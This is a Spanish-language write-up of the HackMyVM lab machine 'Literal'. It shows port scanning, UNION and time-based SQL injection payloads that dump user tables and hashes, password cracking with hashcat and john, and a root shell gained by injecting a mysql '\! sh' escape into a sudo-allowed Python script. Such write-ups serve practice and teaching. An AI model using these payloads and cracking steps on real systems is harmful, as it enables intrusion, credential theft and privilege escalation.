Literal-Writeup

·

8 min read


literal.png


Skills

- SQL Injection - Sqli

- SQL Injection time based

-Abusing python script - Privilage Escalation

Enumeración

Empezamos creando nuestros directorios de trabajo:

$ mkdir literal-192.168.0.28
$ cd literal-192.168.0.28
$ mkdir nmap content exploit

Luego proseguimos con el escaneo de puertos:

$ nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 192.168.0.28 -oG allPorts

Yo lo exporto en formato grepeable por que tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)

$ extractPorts allPorts
[*] Extracting information...

    [*] IP Address: 192.168.0.28
    [*] Open ports: 22,80

[*] Ports copied to clipboard

Realizamos un escaneo mas minucioso sobre esos dos puertos:

$ nmap -sCV -p22,80 192.168.0.28 -oN targeted
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 30ca559468338b5042f4c2b5139966fe (RSA)
|   256 2db05e6b96bd0be314fbe0d058845085 (ECDSA)
|_  256 92d92a5d6f58db8556d60c9968b85964 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://blog.literal.hmv
MAC Address: 08:00:27:B6:7B:52 (Oracle VirtualBox virtual NIC)
Service Info: Host: blog.literal.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos un nombre de dominio, lo agregamos en el "/etc/hosts" por si se esta aplicando virtual-hosting

$ nano /etc/hosts
# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others

192.168.0.28 blog.literal.hmv

Lanzamos un whatweb para ver las tecnologías y gestores de contenido que use la pagina web

$ whatweb http://192.168.0.28
http://192.168.0.28 [301 Moved Permanently] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.0.28], RedirectLocation[http://blog.literal.hmv], Title[301 Moved Permanently]
http://blog.literal.hmv [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[carlos@literal.hmv], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.0.28], Title[c4TLoUis blog][Title element contains newline(s)!]

Vemos que se realiza un redirect a "blog.literal.hmv" y vemos un correo que nos puede ser de utilidad en un futuro, vamos a revisar como se ve la web:

literal-web.png

Vemos una sección de login, vamos a revisar:

login-web.png

Tenemos el correo de antes "carlos@literal.hmv", vamos a probar contraseñas comunes como admin,password,123456,etc. Para ver si nos logramos autenticar:

testing-user-web.png

Y no, no funciona ninguna contraseña vemos que podemos crear una cuenta vamos a crear una y nos logueamos:

creating-user.png

logued-web.png

Vemos una sección para revisar los proyectos vamos a ver:

proyectos-web.png

Vemos que podemos filtrar los proyectos, voy a probar una comilla simple para ver si se acontece algún error en el caso de un sqli -> (link para mas información sobre sqli):

slqi-testing.png

Y no veo una respuesta inusual, como veo 5 campos (ID, Name, Creation Date, When is it Done?, Status) puede que se este usando 5 campos, voy intentar la siguiente query:

 ' order by 5-- -

Y tampoco funciona, voy intentar querys típicas teniendo en cuenta que puede que se estén usando 5 campos. Y cuidado, utilizando la siguiente query obtengo la siguiente respuesta:

' union select group_concat(schema_name),2,3,4,5 from information_schema.schemata-- -

sqli-web.png

Vemos que si, es vulnerable a sqli, vemos una base de datos de nombre blog vamos a listar sus tablas:

' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema='blog'-- -

sqli-table-enum.png

Nos encontramos con una tabla llamada users, vamos a listar sus columnas:

' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema='blog' and table_name='users'-- -

columns-sqli-web.png

Vemos varias columnas, pero solo vamos a listar los datos relevantes:

' union select group_concat(username,':',userpassword,':',useremail),2,3,4,5 from users-- -

data-sqli-web

Vamos a copiar todos esos datos y a depositaros en un archivo(podéis usar ctrl + u o ver código fuente para copiar mas fácil los datos)

$ echo "test:$2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma:test@blog.literal.htb,admin:$2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K:admin@blog.literal.htb,carlos:$2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW:carlos@blog.literal.htb,freddy123:$2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK:freddy123@zeeli.moc,jorg3_M:$2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG:jorg3_M@zeeli.moc,aNdr3s1to:$2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm:aNdr3s1to@puertonacional.ply,kitty:$2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW:kitty@estadodelarte.moc,walter:$2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO:walter@forumtesting.literal.hmv,estefy:$2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa:estefy@caselogic.moc,michael:$2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km:michael@without.you,r1ch4rd:$2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO:r1ch4rd@forumtesting.literal.hmv,fel1x" > data

Vamos a copiar las contraseñas que serian el segundo campo, voy a usar una regex para hacer esto mas simple, luego lo guardamos en otro archivo:

$ cat data | tr ',' '\n' | tr ':' ' ' | awk '{print$2}' > hashes
$2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma
$2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K
$2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW
$2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK
$2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG
$2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm
$2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW
$2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO
$2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa
$2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km
$2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO

Vemos que todos empiezan por la cadena "$2y$10", vamos a buscar si existe algún tipo de hash para ver si lo podemos crackear:

type-hash.png

Utilizando hash-identifier, nos encontramos que el hash sea de tipo "bcrypt $2*$", vamos con hashcat intentar crackear las contraseñas utilizando esta información, usando como diccionario el rockyou.txt y esperamos:

$ hashcat -m 3200 -a 0 hashes /usr/share/wordlists/rockyou.txt
r1ch4rd@forumtesting.literal.hmv:$2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO:monica
michael@without:$2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km:michael1
carlos@blog.literal.htb:$2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW:carlos12
test@blog.literal:$2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma:test

Vemos que conseguimos la contraseña de varios usuarios, yo probaría intentar conectarse por ssh por medio del puerto 22 usando estas credenciales para validar si alguna es funcional. Y al parecer ninguna credencial es validad para conectarnos por ssh, si revisamos la estructura de cada correo nos encontramos con "forumtesting.literal.hmv", vamos agregar ese subdominio al "/etc/hosts" y vamos a ver si nos carga la web:

$ nano /etc/hosts
# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others

192.168.0.28 blog.literal.hmv forumtesting.literal.hmv

subdomain-web.png

Vemos una pagina distinta, vamos a revisar el login para probar las credenciales que tenemos para ver si alguna es valida:

testing-login.png

Y ninguna credencial para ser valida, vemos un panel de control, que nos pide credenciales, vamos a probar si alguna credencial es valida:

cp-login.png

Y vemos que ninguna credencial es valida para este panel de control. Si regresamos a la pagina principal vemos algo como esto:

principal-web.png

Realizando hovering, sobre cualquiera de las categorías existentes, nos sale:

category.php?category_id=1

Esto puede llamar la atención ya que puede ser vulnerable a sqli, ponemos una comilla simple para ver la respuesta en el servidor:

invalid-category-web.png

Y nos sale categoría invalida, probando varias querys nos encontramos que es propensa a sqli time based -> (Link sobre tipos de slqi) Esto quiere decir que podemos obtener información en base a cuanto tarda en respondernos el servidor, podemos montarnos un scritp en python para automatizar el trabajo. Pero como yo todavía no piloto mucho de python vamos a crear una herramienta en bash(link de la herramienta hecha en bash -> slqli-time-based):

sqli-sh.png

Vemos un usuario, correo y contraseña. Vamos a intentar crackear la contraseña con ayuda de john:

$ echo "6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99" > hash
$ john -w:/usr/share/wordlists/rockyou.txt hash --format=Raw-SHA512
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
forum100889      (?)
1g 0:00:00:01 DONE (2023-06-18 04:39) 0.7462g/s 6018Kp/s 6018Kc/s 6018KC/s fourbullet..formy6600
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Y vemos la contraseña en texto plano, vamos a intentar logearnos en la pagina de forumtesting.literal.hmv. Y vemos que para ningún panel nos funciona la credencial, vamos a intentar conectarnos por ssh como el usuario carlos.

$ ssh carlos@192.168.0.28
carlos@192.168.0.28's password:
Permission denied, please try again.
carlos@192.168.0.28's password:

Y vemos que tampoco funciona, probando varias cosas. Probé cambiar el "forum" por otras cadenas tales como el nombre de usuario(carlos), literal, con los otros usuario anteriormente encontrados(monica,michael,etc). Hasta que probé con "ssh". Quedando la contraseña de la siguiente manera "ssh100889":

$ ssh carlos@192.168.0.28
carlos@192.168.0.28's password: 
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-152-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 18 Jun 2023 01:13:23 PM UTC

  System load:             0.28
  Usage of /:              20.6% of 33.99GB
  Memory usage:            56%
  Swap usage:              17%
  Processes:               128
  Users logged in:         0
  IPv4 address for enp0s3: 192.168.0.28
  IPv6 address for enp0s3: ::a00:27ff:feb6:7b52

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

155 updates can be installed immediately.
2 of these updates are security updates.
To see these additional updates run: apt list --upgradable

New release '22.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


Last login: Sun Jun 18 12:48:45 2023 from 192.168.0.22
carlos@literal:~$

Escalada de Privilegios

Y nos logramos conectar como el usuario carlos, ahora toca escalar privilegios

$ sudo -l
Matching Defaults entries for carlos on literal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on literal:
    (root) NOPASSWD: /opt/my_things/blog/update_project_status.py *

Vemos que podemos ejecutar como root sin proporcionar contraseña el script en python. Vamos a echarle un ojo:

script-py.png

Vemos que se conecta a mysql y realiza ciertas querys, si revisamos más abajo vemos que recibe 2 argumentos. Vamos a ver que pasa si ponemos algo:

carlos@literal:/opt/my_things/blog$ sudo ./update_project_status.py 1 1
Bro, avoid a fail: Done - Doing - To do

Al examinar el código vemos que el segundo argumento solo puede ser "Done, Doing o To do" por tanto vamos a ver que sucede:

carlos@literal:/opt/my_things/blog$ sudo ./update_project_status.py 1 Doing
[+] Before update project (1)

+-------+-----------------------------------------+---------------------+------------+-----------+
| proid | proname                                 | prodatecreated      | prodateend | prostatus |
+-------+-----------------------------------------+---------------------+------------+-----------+
|     1 | Ascii Art Python - ABCdario with colors | 2023-06-18 14:29:02 | 2222-12-12 | To do     |
+-------+-----------------------------------------+---------------------+------------+-----------+

[+] New status of project (1)

+-------+-----------------------------------------+---------------------+------------+-----------+
| proid | proname                                 | prodatecreated      | prodateend | prostatus |
+-------+-----------------------------------------+---------------------+------------+-----------+
|     1 | Ascii Art Python - ABCdario with colors | 2023-06-18 14:39:16 | 2222-12-12 | Doing     |
+-------+-----------------------------------------+---------------------+------------+-----------+

Vemos que nos cambia el estado de la tarea según el id que le pasemos, al seguir examinado el código, para el primer argumento no hay ningún tipo de validación en el caso de entradas maliciosas, intentando querys. Al poner como query ' ! id' Me ejecuta el comando id a nivel de sistema

carlos@literal:/opt/my_things/blog$ sudo ./update_project_status.py '\! id' 2>/dev/null
uid=0(root) gid=0(root) groups=0(root)
carlos@literal:/opt/my_things/blog$ sudo ./update_project_status.py '\! sh' 2>/dev/null
$ whoami
root

Y conseguimos escalar privilegios y ser root.


#Conclusiones

Máquina bastante interesante de hackmyvm by lanz para practicar sqli, y también para pensar fuera de la caja y probar distintas cosas. Espero que les sea de utilidad el writeup y cualquier aportación, sugerencia, duda. Tienen los comentarios